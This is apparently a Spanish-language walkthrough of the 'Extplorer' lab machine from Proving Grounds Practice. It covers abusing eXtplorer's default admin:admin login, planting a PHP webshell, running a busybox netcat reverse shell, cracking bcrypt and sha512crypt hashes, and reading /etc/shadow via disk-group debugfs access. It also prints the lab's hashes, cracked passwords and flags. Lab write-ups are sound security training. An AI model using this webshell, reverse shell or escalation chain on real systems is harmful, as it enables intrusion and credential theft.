the_open_door
café
ESEN

Extplorer

Proving Grounds PracticeMediaLinux192.168.142.16

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wordpress#extplorer#default-credentials#file-overwrite#rce#php-webshell#bcrypt#hash-cracking#disk-group#debugfs#sha512crypt#oscp
TL;DR. Extplorer publica un WordPress a medio instalar en el puerto 80 y, colgando de él, el gestor de ficheros eXtplorer en /filemanager, que acepta las credenciales por defecto admin:admin. Con él sobrescribimos un .php del sitio por una webshell y obtenemos ejecución como www-data. En la propia config de eXtplorer (.htusers.php) hay un hash bcrypt de dora que rompemos (cracking offline) hasta doraemon (credenciales en código). dora pertenece al grupo disk, lo que permite leer el disco crudo con debugfs, volcar /etc/shadow, romper el hash de root (abuso del grupo disk) y entrar como root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.142.16
64 bytes from 192.168.142.16: icmp_seq=1 ttl=61 time=29.5 ms

Barremos todos los puertos TCP y luego identificamos versiones sobre los abiertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.16
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.142.16 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: WordPress › Setup Configuration File
|_Requested resource was http://192.168.142.16/wp-admin/setup-config.php

Solo SSH y HTTP. El título y la redirección a wp-admin/setup-config.php delatan un WordPress recién desplegado y sin configurar (aún en el asistente de instalación). Eso suele significar que falta enumerar qué más cuelga del mismo Apache.

HTTP - TCP 80

La portada es el asistente de instalación de WordPress (pide nombre de base de datos, usuario, contraseña), señal de que el sitio no está terminado:

Asistente de instalación de WordPress en setup-config.php pidiendo los datos de la base de datos

Enumeramos rutas; además de la estructura típica de WordPress aparece un /filemanager:

dirsearch -u http://192.168.142.16/ --exclude-status=403,404,503
301 - /filemanager  ->  /filemanager/
200 - /filemanager/
200 - /license.txt
200 - /readme.html
301 - /wp-admin  ->  /wp-admin/
200 - /wp-admin/setup-config.php
301 - /wp-content  ->  /wp-content/

/filemanager es lo interesante: no forma parte de WordPress.

eXtplorer - credenciales por defecto

/filemanager sirve eXtplorer, un administrador de ficheros web en PHP. Probamos las credenciales por defecto del producto, admin:admin, y entran (credenciales débiles):

Login de eXtplorer con usuario admin y contraseña admin

Dentro tenemos un explorador completo del sistema de ficheros del servidor, con permisos para editar y crear archivos bajo el DocumentRoot:

Panel de eXtplorer logueado en /filemanager/index.php: arbol de directorios con filemanager, wordpress, wp-admin, wp-content y wp-includes, todos propiedad de www-data (33)

Current mode: extplorer [Logout]. You could switch to ftp mode.

Name            Size    Type         Modified          Perms              Owner
filemanager     4 KB    Directory    2023/04/06 03:32  755 (rwxr-xr-x)    www-data (33)
wordpress       4 KB    Directory    2023/04/06 03:30  755 (rwxr-xr-x)    www-data (33)
wp-admin        4 KB    Directory    2023/03/29 17:48  755 (rwxr-xr-x)    www-data (33)
wp-content      4 KB    Directory    2026/01/06 20:27  755 (rwxr-xr-x)    www-data (33)
wp-includes    12 KB    Directory    2023/03/29 17:48  755 (rwxr-xr-x)    www-data (33)
index.php     405 B     PHP Script   2020/02/06 06:33  644 (rw-r--r--)    www-data (33)

La columna Owner es la que decide el siguiente paso: todo pertenece a www-data, el mismo usuario con el que corre el servidor web, así que el panel puede reescribir cualquiera de esos .php.

Explotación

eXtplorer: RCE sobrescribiendo un PHP

eXtplorer permite editar ficheros en el servidor. Como el sitio es PHP, basta con sobrescribir un .php existente (aquí wp-admin/setup-config.php) por una webshell que ejecute lo que le pasemos por la query string:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

Editor de eXtplorer con la webshell PHP guardada sobre wp-admin/setup-config.php

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 22

Con la webshell guardada, lanzamos una reverse shell con busybox netcat:

busybox nc 192.168.45.227 22 -e bash

Reverse shell recibida como www-data@dora tras la webshell de eXtplorer

[+] Got reverse shell from dora~192.168.142.16-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
www-data@dora:/var/www/html/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Estamos como www-data.

Pivote a dora

Filtración del hash en la config de eXtplorer

Miramos los usuarios con shell y vemos que dora es el usuario real del sistema, y que pertenece al grupo disk (lo aprovecharemos para la escalada):

cat /etc/passwd | grep sh
id dora
root:x:0:0:root:/root:/bin/bash
dora:x:1000:1000::/home/dora:/bin/sh
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)

eXtplorer guarda sus cuentas en config/.htusers.php. Buscamos referencias a dora dentro del directorio del gestor:

cd /var/www/html/filemanager
grep -ri dora .

grep -ri dora en filemanager mostrando el hash bcrypt de dora en config/.htusers.php

./config/.htusers.php:  array('dora','$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS','/var/www/html','http://localhost','1','','0',1),

Es un hash bcrypt (credenciales en código). Lo rompemos offline con John (cracking de hashes):

echo '$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

John rompiendo el hash bcrypt de dora y revelando la contrasena doraemon

doraemon         (?)

La contraseña de dora es doraemon. Cambiamos de usuario desde la shell de www-data:

su dora    # doraemon
id

su dora con la contrasena doraemon; id devuelve dora con grupo disk

www-data@dora:/var/www/html/filemanager$ su dora
Password:
$ id
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)

dora está en el grupo 6(disk). Leemos la primera prueba:

cat local.txt && whoami && ip a && hostname

local.txt leido como dora en dora, con IP 192.168.142.16 y hostname dora

74ce4f9dd1aa52a7899a31a7df65c051

Escalada de privilegios

Abuso del grupo disk: debugfs sobre el disco crudo

dora está en el grupo disk, que da acceso de lectura a los dispositivos de bloque. Eso equivale a leer el disco entero saltándose los permisos del sistema de ficheros: cualquiera del grupo puede abrir el disco crudo y sacar ficheros que normalmente no podría ver, como /etc/shadow (abuso del grupo disk). Localizamos los dispositivos del grupo y abrimos el volumen con debugfs:

id
find / -group disk 2>/dev/null
debugfs /dev/dm-0

Dentro de debugfs, leemos /etc/shadow con cat:

debugfs:  cat /etc/shadow

find -group disk y debugfs /dev/dm-0 leyendo el hash sha512 de root desde /etc/shadow

root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7:::

El hash de root es un sha512crypt ($6$). Lo rompemos también con John (cracking offline):

john --wordlist=/usr/share/wordlists/rockyou.txt hash

John rompiendo el hash sha512crypt de root y revelando la contrasena explorer

explorer         (?)

La contraseña de root es explorer. Escalamos con su:

su root    # explorer
id

su root con la contrasena explorer; id devuelve uid=0(root)

dora@dora:~$ su root
Password:
root@dora:/home/dora# id
uid=0(root) gid=0(root) groups=0(root)

Ya somos root (uid 0). Leemos la prueba final:

cat proof.txt && whoami && ip a && hostname

proof.txt leido como root en dora, con whoami root y hostname dora

b72cf906b03628fc35cc519eb2fb8624

Cadena de ataque

WordPress sin configurar (TCP 80)  --  /filemanager (eXtplorer)
        │  credenciales por defecto admin:admin
        │  editar/sobrescribir un .php  ->  webshell
        ▼
shell como www-data
        │  .htusers.php -> hash bcrypt de dora -> john -> doraemon
        ▼
shell como dora  (local.txt, grupo disk)
        │  debugfs /dev/dm-0 -> cat /etc/shadow -> hash sha512 de root -> john -> explorer
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • Las credenciales por defecto siguen ganando cajas. eXtplorer trae admin:admin de fábrica; dejarlo sin cambiar, encima de un gestor de ficheros con permisos de escritura sobre el DocumentRoot, equivale a regalar ejecución de código.
  • Un sitio "a medio instalar" no es inofensivo. El WordPress estaba sin configurar, pero el Apache que lo servía exponía además eXtplorer. Conviene enumerar todo lo que cuelga del servidor, no solo la aplicación principal.
  • Las contraseñas en ficheros de configuración acaban crackeadas. El bcrypt de dora vivía en texto en .htusers.php; un coste bajo y una contraseña de diccionario (doraemon) la entregan en segundos.
  • El grupo disk es root en diferido. Pertenecer a disk da acceso al disco crudo: con debugfs se lee cualquier fichero (incluido /etc/shadow) sin pasar por los permisos del sistema de ficheros. No es un grupo "de almacenamiento inocuo"; concederlo equivale a conceder lectura total del disco.
Cheatsheet de comandos 10 comandos

Repaso rápido